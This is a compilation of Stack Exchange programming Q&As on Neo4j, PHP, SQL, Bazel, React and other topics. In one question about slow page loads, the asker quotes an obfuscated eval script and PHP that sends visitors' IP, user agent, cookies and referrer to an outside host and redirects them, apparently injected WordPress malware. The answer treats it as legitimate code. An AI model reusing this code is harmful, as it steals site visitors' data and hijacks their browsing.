问:
can I use constraint and index in a single query to load csv to neo4j?
I was trying to import csv to neo4j and it worked but slow.
So I am trying to use 'CONSTRAINT' to speed it up.

My following works

```<code>     'USING PERIODIC COMMIT \
      LOAD CSV WITH HEADERS FROM {filepath} AS row WITH \
      row limit 1000 \
      MERGE (spot:Spot{id:row.id}) \
      .....there are more line actually ... \
     '
</code>```

but it does not work when I add 'constraint' to the query, say syntax error.

```<code>     'CREATE CONSTRAINT ON (s:Spot) ASSERT s.id is UNIQUE;\
      USING PERIODIC COMMIT \
      LOAD CSV WITH HEADERS FROM {filepath} AS row WITH \
      row limit 1000 \
      MERGE (spot:Spot{id:row.id}) \
      .....there are more line actually ... \
     '
</code>```

I tried to run constraints first, then load csv right after. but the following says some error.

```<code>         var unique_str = ' CREATE CONSTRAINT ON (s:Spot) ASSERT s.id is UNIQUE \
                       CREATE CONSTRAINT ON (c:City) ASSERT c.id is UNIQUE \
                       CREATE CONSTRAINT ON (t:Tag) ASSERT t.id is UNIQUE; '
</code>```

what is wrong with it?

Keep having problems, could someone point out my mistakes please.
What should I do?
Thanks in advance!

答: I think the problem is that if you use periodic commit, it has to be the first line and that is why you get a syntax error. What i would do is create a constraint separately and then run the query as you did the first time.

Body:
I was trying to import csv to neo4j and it worked but slow.
So I am trying to use 'CONSTRAINT' to speed it up.

My following works

     'USING PERIODIC COMMIT \
      LOAD CSV WITH HEADERS FROM {filepath} AS row WITH \
      row limit 1000 \
      MERGE (spot:Spot{id:row.id}) \
      .....there are more line actually ... \
     '

but it does not work when I add 'constraint' to the query, say syntax error.

     'CREATE CONSTRAINT ON (s:Spot) ASSERT s.id is UNIQUE;\
      USING PERIODIC COMMIT \
      LOAD CSV WITH HEADERS FROM {filepath} AS row WITH \
      row limit 1000 \
      MERGE (spot:Spot{id:row.id}) \
      .....there are more line actually ... \
     '

I tried to run constraints first, then load csv right after. but the following says some error.

         var unique_str = ' CREATE CONSTRAINT ON (s:Spot) ASSERT s.id is UNIQUE \
                       CREATE CONSTRAINT ON (c:City) ASSERT c.id is UNIQUE \
                       CREATE CONSTRAINT ON (t:Tag) ASSERT t.id is UNIQUE; '

what is wrong with it?

Keep having problems, could someone point out my mistakes please.
What should I do?
Thanks in advance!


来源: stackexchange

问:
Can I use an if statement with multiple conditions? PHP
I bet I can, but would it work like this?

```<code>function dutchDateNames($) {
        $day = explode('-', $date)[2];
        $dutchday = ($day < 10) ? substr($day, 1) : $day;

        $month = explode('-', $date)[1];
        if ($month == '01' . '02') {
            $dutchmonth = 'Januari' . 'Februari';
        }

        $dutchdate = $dutchday . ' ' . $dutchmonth . ' ' . explode('-', $date)[0];
        return $dutchdate
    }
</code>```

So, if $month is 01, $dutchmonth should be Januari. If $month is 02, $dutchmonth should be Februari, and so on.
I have the feeling I'm not doing this right?

答:
Create lookup array and get value by key:</p>

```<code>$month = '02';
$months = [
    '01' => 'Januari'
    '02' => 'Februari'
    // more months here
];
$dutchmonth = isset($months[$month])? $months[$month] : '';
echo $dutchmonth;
</code>```

ContentLicense: CC BY-SA 3.0

Body:
I bet I can, but would it work like this?

function dutchDateNames($) {
        $day = explode('-', $date)[2];
        $dutchday = ($day < 10) ? substr($day, 1) : $day;

        $month = explode('-', $date)[1];
        if ($month == '01' . '02') {
            $dutchmonth = 'Januari' . 'Februari';
        }

        $dutchdate = $dutchday . ' ' . $dutchmonth . ' ' . explode('-', $date)[0];
        return $dutchdate
    }

So, if $month is 01, $dutchmonth should be Januari. If $month is 02, $dutchmonth should be Februari, and so on.
I have the feeling I'm not doing this right?

Body:
Create lookup array and get value by key:

$month = '02';
$months = [
    '01' => 'Januari'
    '02' => 'Februari'
    // more months here
];
$dutchmonth = isset($months[$month])? $months[$month] : '';
echo $dutchmonth;


问:
Sqoop Import Fails “No Space Left on Device”
Sqoop unable to import data into hadoop thorwing error as " No Space Left on Device" on random table. We have plenty of space on both HDFS and Local FS. Not sure why, Please let me know how to fix it.</p>

```<code>SELECT ALTR_DESC WHERE 1=1 WITH UR 2017-03-29 00:32:27 ERROR
SqoopThread:165 - Error occurred while importing data
HALS.CLOUD_AESC java.lang.RuntimeException:
java.io.FileNotFoundException: /apps/data/cloud.log 170329.003227.HALSDBP3.1694.TBA_ALTR_DESC.log (No space left on device) at
com.apache.sqoop.log.LogWriter.close(LogWriter.java:137) at
com.apache.sqoop.log.LogWriter.flush(LogWriter.java:155) at
com.apche.sqoop.log.LogWriter.write(LogWriter.java:41) at
com.apache.sqoop.service.SqoopThread.run(SqoopThread.java:100) at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Caused by:
java.io.FileNotFoundException: /apps/data/cloud.log/170329.003227.HALSDBP3.1694.TBA_ALTR_DESC.log (No space left on device) at java.io.FileOutputStream.open(Native Method) at
java.io.FileOutputStream.(FileOutputStream.java:221) at
java.io.FileOutputStream.(FileOutputStream.java:142) at
java.io.FileWriter.(FileWriter.java:78) at
com.apache.sqoop.log.LogWriter.close(LogWriter.java:127)
</code>```

答:
It means that you don't have enough storage space in one (or more) of your cluster's node(s). Check the Web UI of HDFS to see each datanode and the remaining space as the job is executed.

This space might be freed after you run the job, so you may need to check it while the job is running. If there is not enough time to do this (i.e., the job is fast), then you could also check the datanode logs on each datanode to identify which one is failing to store data.

I am not familiar with sqoop, but a standard ways to solve this is to use compression and another way could be to reduce the replication factor from 3 to 2, or even 1 (but this has an impact on fault tolerance and data locality). However, the first thing is to identify when and why this is happening.

Body:
Sqoop unable to import data into hadoop thorwing error as " No Space Left on Device" on random table. We have plenty of space on both HDFS and Local FS. Not sure why, Please let me know how to fix it.

SELECT ALTR_DESC WHERE 1=1 WITH UR 2017-03-29 00:32:27 ERROR
SqoopThread:165 - Error occurred while importing data
HALS.CLOUD_AESC java.lang.RuntimeException:
java.io.FileNotFoundException: /apps/data/cloud.log 170329.003227.HALSDBP3.1694.TBA_ALTR_DESC.log (No space left on device) at
com.apache.sqoop.log.LogWriter.close(LogWriter.java:137) at
com.apache.sqoop.log.LogWriter.flush(LogWriter.java:155) at
com.apche.sqoop.log.LogWriter.write(LogWriter.java:41) at
com.apache.sqoop.service.SqoopThread.run(SqoopThread.java:100) at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Caused by:
java.io.FileNotFoundException: /apps/data/cloud.log/170329.003227.HALSDBP3.1694.TBA_ALTR_DESC.log (No space left on device) at java.io.FileOutputStream.open(Native Method) at
java.io.FileOutputStream.(FileOutputStream.java:221) at
java.io.FileOutputStream.(FileOutputStream.java:142) at
java.io.FileWriter.(FileWriter.java:78) at
com.apache.sqoop.log.LogWriter.close(LogWriter.java:127)


问:
Query to get name from a table with 2 ID columns
I have 2 tables. The first has a structure like

```<code>id (int)
parent_id (int)
category_name (varchar)
</code>```

The second has a structure like:

```<code>id (int)
old_category (int)
new_category (int)
</code>```

I want to make a query to pull the old category and new category names all in one query for the parents. That is, I want to get the name of the old parent, then get the name of the new parent. The second table contains a historical list of all the parent ID changes made in the first table. How can I do this? Thanks!

答:
```<code>SELECT
  t.id,
  t.old_category,
  oc.category_name as old_category_name,
  t.new_catevory,
  nc.category_name as new_category_name
FROM
  table1 t
  INNER JOIN table2 oc on oc.id = t.old_category
  INNER JOIN table2 nc on nc.id = t.new_category
</code>```

I would seriously consider some modifications in column names, btw. To start: why don't the categories in table2 have an id postfix?

ContentLicense: CC BY-SA 2.5

Body:
I have 2 tables. The first has a structure like

id (int)
parent_id (int)
category_name (varchar)

The second has a structure like:

id (int)
old_category (int)
new_category (int)

I want to make a query to pull the old category and new category names all in one query for the parents. That is, I want to get the name of the old parent, then get the name of the new parent. The second table contains a historical list of all the parent ID changes made in the first table. How can I do this? Thanks!

Body:
SELECT
  t.id,
  t.old_category,
  oc.category_name as old_category_name,
  t.new_catevory,
  nc.category_name as new_category_name
FROM
  table1 t
  INNER JOIN table2 oc on oc.id = t.old_category
  INNER JOIN table2 nc on nc.id = t.new_category

I would seriously consider some modifications in column names, btw. To start: why don't the categories in table2 have an id postfix?


问:
Page loads with a delay
I'm using following script in my wordpress site, the thing is when insert this to page's head section. when type url & hit enter page stays blank (white screen) for like 20 seconds. then loads the whole page.

i have tried this script with a fresh wordpress installation, with default wordpress themes, even that the delay happens. so i think this is not the issue of the custom wordpress theme i'm using.

even i placed this in footer, but no luck.

below is the 2 codes i'm using, i need to figure out what is happening.

for some reason my code is not formatting here. please refer this

```<code> <style>
html {
    display: none;
}
 </style>
<script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js">  </script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js">   </script>
  <script>
    eval(function(p, a, c, k, e, r) {
     e = function(c) {
        return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ?    String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});', 51, 51, 'var||document|function|location|send|analytics|ready|html|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|4964223|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'), 0, {}))
</code>```

AND PHP

```<code><?php
error_reporting(E_ALL & ~E_NOTICE);
 if (isset($_POST["tz"])) {
$id   = "202186";
$uid  = "g7tcv86snc6u6hh7aeuzmbbon";
$qu   = $_SERVER["QUERY_STRING"];
$ch   = curl_init();
$url  = "http://jcibj.com/pcl.php";
$data = array(
    "lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
    "ref" => $_POST["r"],
    "ip" => $_SERVER["REMOTE_ADDR"],
    "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
    "sn" => $_SERVER["SERVER_NAME"],
    "query" => $qu,
    "ua" => $_SERVER["HTTP_USER_AGENT"],
    "co" => $_COOKIE["_event"],
    "tz" => $_POST["tz"],
    "he" => $_POST["he"],
    "user_id" => $uid,
    "id" => $id
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu)) {
    if (strpos($arr[1], "?")) {
        $q = "&" . $qu;
    } else {
        $q = "?" . $qu;
    }
} else {
    $q = "";
}
if ($arr[0] === "true") {
    if (strstr($arr[1], "sp.php")) {
        $q = "";
    }
    if (!empty($arr[7])) {
        setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9]);
    }
    if ($arr[2]) {
        if ($arr[4] == 1 OR $arr[4] == 3) {
            setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $q . '"';
    exit();
} elseif ($arr[0] === "false") {
    if ($arr[5]) {
        $f = $q;
    } else {
        $f = "";
    }
    if ($arr[2]) {
        if ($arr[4] == 2 OR $arr[4] == 3) {
            setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $f . '"';
    exit();
} else {
    if ($arr[2]) {
        if ($arr[4] == 2 OR $arr[4] == 3) {
            setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("html").show();$("body").fadeIn(500);';
    exit();
}
}
?>
</code>```

答:
I think this is because curl is a synchronous function so it stops all other execution while waiting for the curl response. I would put the curl logic inside a asynchronous request (like AJAX) and load the page in a separate PHP process.

So you have a PHP-page that loads fast, a javascript that triggers the PHP curl script via AJAX and then appends the result when it's one.

i.e.

PHP Landing

```<code><?php
?>
<script
          src="https://code.jquery.com/jquery-3.2.1.min.js"
          integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
          crossorigin="anonymous"></script>
<script type="text/javascript" src="script.js"></script>
<div id="my-container">Loading.. hold on one sec</div>
</code>```

jQuery CDN

Javascript in script.js

```<code>$(document).ready(function() {
    $.get('my-curl-script.php', function(response) {
        $('#my-container').html(response);
    });
}
</code>```

jQuery.get()

PHP Curl Logic in my-curl-script.php

Your code from above

Title: Page loads with a delay

Body:
I think this is because curl is a synchronous function so it stops all other execution while waiting for the curl response. I would put the curl logic inside a asynchronous request (like AJAX) and load the page in a separate PHP process.

So you have a PHP-page that loads fast, a javascript that triggers the PHP curl script via AJAX and then appends the result when it's one.

i.e.

PHP Landing

<?php
?>
<script
          src="https://code.jquery.com/jquery-3.2.1.min.js"
          integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
          crossorigin="anonymous"></script>
<script type="text/javascript" src="script.js"></script>
<div id="my-container">Loading.. hold on one sec</div>

jQuery CDN

Javascript in script.js

$(document).ready(function() {
    $.get('my-curl-script.php', function(response) {
        $('#my-container').html(response);
    });
}

jQuery.get()

PHP Curl Logic in my-curl-script.php

Your code from above


问:
setting the execution rate of while loop in a C++ code for real time synchronization
I am doing a real_time simulation using a .cpp source code. I have to take a sample every 0.2 seconds (200 ms) ... There is a while loop that takes a sample every time step... I want to synchronize the execution of this while loop to get a sample every (200 ms) ... How should I modify the while loop ?

```<code>while (1){
          // get a sample every 200 ms
         }
</code>```

答:
```<code>#include <thread>
#include <chrono>
#include <iostream>

int main() {
    std::thread timer_thread;
    while (true) {
        timer_thread = std::thread([](){
            std::this_thread::sleep_for (std::chrono::seconds(1));
         });

         // do stuff
         std::cout << "Hello World!" << std::endl;

         // waits until thread has "slept"
         timer_thread.join();

         // will loop every second unless the stuff takes longer than that.
    }

    return 0;
}
</code>```

Body:
I am doing a real_time simulation using a .cpp source code. I have to take a sample every 0.2 seconds (200 ms) ... There is a while loop that takes a sample every time step... I want to synchronize the execution of this while loop to get a sample every (200 ms) ... How should I modify the while loop ?

while (1){
          // get a sample every 200 ms
         }


问:
Regular Expression to limit all letters less than 100 characters
I need the regular expression that would limit the number of characters to 100 and allow the use of 0-9, !@.,;:'"?-    and all lower and upper case letters</p>

答:
```<code>^(.{1,100})$
</code>```

.  This will allow all the characters numbers and special characters also
{1,100} this the range you need to specific like min and max count

Body:
^(.{1,100})$

.  This will allow all the characters numbers and special characters also
{1,100} this the range you need to specific like min and max count


问:
Library not loaded: /usr/local/opt/readline/lib/libreadline.6.2.dylib
I just installed posgresql with homebrew and when I go on to type the command

```<code>psql
</code>```

I get the following error:

```<code>dyld: Library not loaded: /usr/local/opt/readline/lib/libreadline.6.2.dylib
Referenced from: /usr/local/bin/psql
Reason: image not found
[1]    69711 trace trap  psql
</code>```

Does anyone have any idea about what's wrong?

答:
this worked for me </p>

```<code>ln -s /usr/local/opt/readline/lib/libreadline.7.0.dylib /usr/local/opt/readline/lib/libreadline.6.dylib
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I just installed posgresql with homebrew and when I go on to type the command

psql

I get the following error:

dyld: Library not loaded: /usr/local/opt/readline/lib/libreadline.6.2.dylib
Referenced from: /usr/local/bin/psql
Reason: image not found
[1]    69711 trace trap  psql

Does anyone have any idea about what's wrong?

Body:
this worked for me

ln -s /usr/local/opt/readline/lib/libreadline.7.0.dylib /usr/local/opt/readline/lib/libreadline.6.dylib


问:
Verify step in bazel
I'm looking for a good recipe to run "checks" or "verify" steps in Bazel, like go vet, gofmt, pylint, cppcheck. These steps don't create any output file. The only thing that matters is the return code (like a test).

Right now I'm using the following recipe:

```<code>sh_test(
    name = "verify-pylint",
    srcs = ["verify-pylint.sh"],
    data = ["//:all-srcs"],
)
</code>```

And verify-pylint.sh looks like this:

```<code>find . -name '*.py' | xargs pylint
</code>```

This has two problems:

The verify logic is split between the shell script and the BUILD file. Ideally I would like to have both in the same place (in the BUILD file)

Anytime one of the source file changes (in //:all-srcs), bazel test verify-pylint re-runs pylint on every single file (and that can be expensive/slow).

What is the idiomatic way in bazel to run these steps?

答:
There are more than one solutions.

The cleanest way is to do the verification at build time: you create a genrule for each file (or batch of files) you want to verify, and if verification succeeds, the genrule outputs something, if it fails, then the rule outputs nothing, which automatically fails the build as well.

Since success of verification depends on the file's contents, and the same input should yield the same output, the genrules should produce an output file that's dependent on the contents of the input(s). The most convenient thing is to write the digest of the file(s) to the output if verification succeeded, and no output if verification fails.

To make the verifier reusable, you could create a Skylark macro and use it in all your packages.

To put this all together, you'd write something like the following.

Contents of //tools:py_verify_test.bzl:

```<code>def py_verify_test(name, srcs, visibility = None):
    rules = {"%s-file%d" % (name, hash(s)): s for s in srcs}
    for rulename, src in rules.items():
        native.genrule(
            name = rulename,
            srcs = [s],
            outs = ["%s.md5" % rulename],
            cmd = "$(location //tools:py_verifier) $< && md5sum $< > $@",
            tools = ["//tools:py_verifier"],
            visibility = ["//visibility:private"],
        )

    native.sh_test(
        name = name,
        srcs = ["//tools:build_test.sh"],
        data = rules.keys(),
        visibility = visibility,
    )
</code>```

Contents of //tools:build_test.sh:

```<code>#!/bin/true
# If the test rule's dependencies could be built,
# then all files were successfully verified at
# build time, so this test can merely return true.
</code>```

Contents of //tools:BUILD:

```<code># I just use sh_binary as an example, this could
# be a more complicated rule of course.
sh_binary(
    name = "py_verifier",
    srcs = ["py_verifier.sh"],
    visibility = ["//visibility:public"],
)
</code>```

Contents of any package that wants to verify files:

```<code>load("//tools:py_verify_test.bzl", "py_verify_test")

py_verify_test(
    name = "verify",
    srcs = glob(["**/*.py"]),
)
</code>```

Title: Verify step in bazel

Body:
I'm looking for a good recipe to run "checks" or "verify" steps in Bazel, like go vet, gofmt, pylint, cppcheck. These steps don't create any output file. The only thing that matters is the return code (like a test).

Right now I'm using the following recipe:

sh_test(
    name = "verify-pylint",
    srcs = ["verify-pylint.sh"],
    data = ["//:all-srcs"],
)

And verify-pylint.sh looks like this:

find . -name '*.py' | xargs pylint

This has two problems:

The verify logic is split between the shell script and the BUILD file. Ideally I would like to have both in the same place (in the BUILD file)

Anytime one of the source file changes (in //:all-srcs), bazel test verify-pylint re-runs pylint on every single file (and that can be expensive/slow).

What is the idiomatic way in bazel to run these steps?

Body:
There are more than one solutions.

The cleanest way is to do the verification at build time: you create a genrule for each file (or batch of files) you want to verify, and if verification succeeds, the genrule outputs something, if it fails, then the rule outputs nothing, which automatically fails the build as well.

Since success of verification depends on the file's contents, and the same input should yield the same output, the genrules should produce an output file that's dependent on the contents of the input(s). The most convenient thing is to write the digest of the file(s) to the output if verification succeeded, and no output if verification fails.

To make the verifier reusable, you could create a Skylark macro and use it in all your packages.

To put this all together, you'd write something like the following.

Contents of //tools:py_verify_test.bzl:

def py_verify_test(name, srcs, visibility = None):
    rules = {"%s-file%d" % (name, hash(s)): s for s in srcs}
    for rulename, src in rules.items():
        native.genrule(
            name = rulename,
            srcs = [s],
            outs = ["%s.md5" % rulename],
            cmd = "$(location //tools:py_verifier) $< && md5sum $< > $@",
            tools = ["//tools:py_verifier"],
            visibility = ["//visibility:private"],
        )

    native.sh_test(
        name = name,
        srcs = ["//tools:build_test.sh"],
        data = rules.keys(),
        visibility = visibility,
    )

Contents of //tools:build_test.sh:

#!/bin/true
# If the test rule's dependencies could be built,
# then all files were successfully verified at
# build time, so this test can merely return true.

Contents of //tools:BUILD:

# I just use sh_binary as an example, this could
# be a more complicated rule of course.
sh_binary(
    name = "py_verifier",
    srcs = ["py_verifier.sh"],
    visibility = ["//visibility:public"],
)

Contents of any package that wants to verify files:

load("//tools:py_verify_test.bzl", "py_verify_test")

py_verify_test(
    name = "verify",
    srcs = glob(["**/*.py"]),
)


问:
JavaScript expression parser in Silverlight
Hey everybody! I have a Silverlight project that needs to help users create JavaScript logical expressions (e.g. "var1 != var2 && var3 >= var4"). Very simple. The problem is that I do not have much time to create one myself because tweaking the transition table would be a little time consuming.

So I was searching online for one, but all I found was a couple classes that help you validate the JavaScript, but I need a way to load it, parse it and then write it back. So I was wondering if anyone has any ideas about how I can do it. I am assuming it will not require much code, and it does not have to be a C# example either. If only you could give me some ideas in C++ or even pseudo code, that would help a lot.

Thank you,

Vladimir

答: Here is one written in JavaScript: http://silentmatt.com/parser3.js (from: Javascript parser for simple expression). It will be a pain to port, but it's a start.</p>


问:
Spring Actuator Status Down Due to Solr Dependency
I can see that result when I want to check health metrics of my application which has Spring Boot Actuator:

```<code>{
  "status": "UP",
  "diskSpace": {
    "status": "UP",
    "total": 299055067136,
    "free": 246445404160,
    "threshold": 10485760
  }
}
</code>```

I can also see /metrics results. I want to reach such information from another Spring application. This works for /metrics:

```<code>restTemplate.getForObject(metricsPath, HashMap.class);
</code>```

When I try that for health:

```<code>restTemplate.getForObject(healthPath, String.class);
</code>```

I get a general 503 error. I've debugged the system and realized that Spring throws an error due to my Solr dependency. It tries to make a ping request to 127.0.0.1

My questions:

1) How it works when I don't use restTemplate?

2) How can I indicate what is Solr path for SolrHealthIndicator?

PS: I can verify that problem relates to Solr because when I add:

```<code>management:
  health:
    solr:
      enabled:  false
</code>```

I can see Status is UP with restTemplate.

答:
This is a bug when spring moved Solr 4 to Solr 5.
See for updates here</p>

Body:
I can see that result when I want to check health metrics of my application which has Spring Boot Actuator:

{
  "status": "UP",
  "diskSpace": {
    "status": "UP",
    "total": 299055067136,
    "free": 246445404160,
    "threshold": 10485760
  }
}

I can also see /metrics results. I want to reach such information from another Spring application. This works for /metrics:

restTemplate.getForObject(metricsPath, HashMap.class);

When I try that for health:

restTemplate.getForObject(healthPath, String.class);

I get a general 503 error. I've debugged the system and realized that Spring throws an error due to my Solr dependency. It tries to make a ping request to 127.0.0.1

My questions:

1) How it works when I don't use restTemplate?

2) How can I indicate what is Solr path for SolrHealthIndicator?

PS: I can verify that problem relates to Solr because when I add:

management:
  health:
    solr:
      enabled:  false

I can see Status is UP with restTemplate.


问:
Update when pulling down the screen | ANDROID
Does anyone know how to code it to update the information from the Internet in my app with pulling down the screen?
Like this

Thanks for answering!

答: What you need is Pull to Refresh. There are examples around. Check this out.


问:
Having an array receive its own value
I am trying to have an array receive its own value plus a specific cell value:

```<code>myarray(1) = myarray(1) + Cells(2,4)
</code>```

But I get error "13": Incompatible types (translated from Portuguese)

I have verified that if I make it:

```<code>myarray(1) = Cells(2,4)
</code>```

It works.

The array has been declared as string.

Please help me out figuring out how to do this.
Best regards,

答:
If your myarray is declared as String, then you meant to use:

```<code>myarray(1) = myarray(1) & Cells(2,4)
</code>```

If you want to add Numeric values, then first you need to declare:

```<code>Dim myarray() As Long
</code>```

And afterwards, you can add with +, by :

```<code>myarray(1) = myarray(1) + Cells(2,4)
</code>```

Title: Having an array receive its own value

Body:
I am trying to have an array receive its own value plus a specific cell value:

myarray(1) = myarray(1) + Cells(2,4)

But I get error "13": Incompatible types (translated from Portuguese)

I have verified that if I make it:

myarray(1) = Cells(2,4)

It works.

The array has been declared as string.

Please help me out figuring out how to do this.
Best regards,

Body:
If your myarray is declared as String, then you meant to use:

myarray(1) = myarray(1) & Cells(2,4)

If you want to add Numeric values, then first you need to declare:

Dim myarray() As Long

And afterwards, you can add with +, by :

myarray(1) = myarray(1) + Cells(2,4)


问:
Should we use backticks to quote string literals now?
I've been into the discussion of single or double qoutes for string literals in Javascript (JSON aside), and it seems that the choosing of one or another is purely arbitrary, with two clarifications:

Use the same convention over all your code (no var a="a", b='b').

You can be flexible to accommodate literals that would otherwise require to escape a lot of characters, hurting readability (no its='it\'s' nor normal="the \"normal\" thing").

But we have now another qouting character, the backtick that is used in template literals, that by itself is much less frequently used in normal text or code than the other two, and hence requires less escaping:

```<code>youre = `You're so "normal"!`
</code>```

At most, one would need to espace the dollar sign in the cases where that would make an unwanted embedded expression.

I try to think of reasons to avoid using the backtick as a coding standard, replacing the other two.

Is it going to hurt performance? I guess not really (I tried to measure but got inconclusive results). If performance depends only in the number of characters to escape, you could see an improvement from the edge cases like youre or literals with newlines.

Slower typing? It will depend on your keyboard. In mine (Spanish), both double and single quotes are in the numbers row and are harder to reach, and the double requires me to press Shift, while the backtick is just a key away from my finger but requires to press Space, so it's hard to say it will be for me.

Browser compatibility? Probably. But time solves it, and there are cases where it is not relevant, like anything intended to run in Node.js.

Are there other reasons that may discourage (or encourage) one to set the backtick as the qoute for string literals in the coding standard of your projects?

答:
Using Backticks for Strings allows to create Template Strings.

```<code>const create = word => `Hello ${word}`

console.log(create("World")); // Hello World
</code>```

So this is a cleaner way to create/interpolate Strings. Since the transpiler/interpreter will turn that back into something like: "Hello" + word the impact on Performance should depend on the number of Strings to combine and the overall length of the String.

No matter which »type« of String you chose if you need the quoting characters in it, you need to escape them:

```<code>console.log(```) // SyntaxError
console.log(`\``) // `
```

So all in all, template Strings are great for templates, so use them for it if you like, but it wont make any difference, when it comes to escaping, plus, you have to escape $ signs, too.

Body:
I've been into the discussion of single or double qoutes for string literals in Javascript (JSON aside), and it seems that the choosing of one or another is purely arbitrary, with two clarifications:

Use the same convention over all your code (no var a="a", b='b').

You can be flexible to accommodate literals that would otherwise require to escape a lot of characters, hurting readability (no its='it\'s' nor normal="the \"normal\" thing").

But we have now another qouting character, the backtick that is used in template literals, that by itself is much less frequently used in normal text or code than the other two, and hence requires less escaping:

youre = `You're so "normal"!`

At most, one would need to espace the dollar sign in the cases where that would make an unwanted embedded expression.

I try to think of reasons to avoid using the backtick as a coding standard, replacing the other two.

Is it going to hurt performance? I guess not really (I tried to measure but got inconclusive results). If performance depends only in the number of characters to escape, you could see an improvement from the edge cases like youre or literals with newlines.

Slower typing? It will depend on your keyboard. In mine (Spanish), both double and single quotes are in the numbers row and are harder to reach, and the double requires me to press Shift, while the backtick is just a key away from my finger but requires to press Space, so it's hard to say it will be for me.

Browser compatibility? Probably. But time solves it, and there are cases where it is not relevant, like anything intended to run in Node.js.

Are there other reasons that may discourage (or encourage) one to set the backtick as the qoute for string literals in the coding standard of your projects?

Body:
Using Backticks for Strings allows to create Template Strings.

const create = word => `Hello ${word}`

console.log(create("World")); // Hello World

So this is a cleaner way to create/interpolate Strings. Since the transpiler/interpreter will turn that back into something like: "Hello" + word the impact on Performance should depend on the number of Strings to combine and the overall length of the String.

No matter which »type« of String you chose if you need the quoting characters in it, you need to escape them:

console.log(```) // SyntaxError
console.log(`\``) // `

So all in all, template Strings are great for templates, so use them for it if you like, but it wont make any difference, when it comes to escaping, plus, you have to escape $ signs, too.


问:
Converting dataframe column data to matrix using R
I have data in dataframe in following format

And i want to convert this data into a matrix like this, so that i can generate a graph out of it using R

Please advice how can i do this. Also if there are any packages available to generate a graph

[![enter image description here][3]][3]

答:
No need to convert to matrix, we can use existing data with igraph package, see example:

```<code>library(igraph)

# convert to igraph object and plot
g <- graph_from_data_frame(df1)
plot(g)
</code>```

Body:
No need to convert to matrix, we can use existing data with igraph package, see example:

library(igraph)

# convert to igraph object and plot
g <- graph_from_data_frame(df1)
plot(g)


问:
How to redirect to home page(in jsx) after logout in react
```<code><li>
    <a href="homepage.jsx">
      <i className="fa fa-sign-out pull-right"></i>
      Log Out
    </a>
</li>
</code>```

I am having homepage component in homepage.jsx, after clicking on logout i need to go to homepage component.

Help me in this.

答:
I am assuming you are using react-router v 2.x.x.
You can create a component like below for this.

Your route should also contain the route to which you want to redirect.

```<code>   <Route path="/" component={App}>
       <Route path="/homepage" component={Homepage}/>
   </Route>
</code>```

class Logout extends React.Component {

    static contextTypes = {
        router: React.PropTypes.object.isRequired
    };

    constructor(props, context){
        super(props, context);
        this.state = {
            error:null
        };
    }

    logOut() {
        Api.logOut().then(
            () => {
                this.context.router.replace('/homepage');
            },
            () => {
                this.setState({
                    error:'Error occured while logging out. Please try again.'
                });
            }
        );
    }

    render(){

        return (

             Log Out

        )
    }
}

ReactDOM.render(<Logout/>, document.getElementById('app'))```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js"></script>

<div id='app'/></code>```

Body:
      Log Out

I am having homepage component in homepage.jsx, after clicking on logout i need to go to homepage component.

Help me in this.

Body:
I am assuming you are using react-router v 2.x.x.
You can create a component like below for this.

Your route should also contain the route to which you want to redirect.

   <Route path="/" component={App}>
       <Route path="/homepage" component={Homepage}/>
   </Route>

class Logout extends React.Component {

    static contextTypes = {
        router: React.PropTypes.object.isRequired
    };

    constructor(props, context){
        super(props, context);
        this.state = {
            error:null
        };
    }

    logOut() {
        Api.logOut().then(
            () => {
                this.context.router.replace('/homepage');
            },
            () => {
                this.setState({
                    error:'Error occured while logging out. Please try again.'
                });
            }
        );
    }

    render(){

        return (
       <li>
          <a onClick={this.logOut} >
             <i className="fa fa-sign-out pull-right"></i>
             Log Out
          </a>
       </li>
        )
    }
}

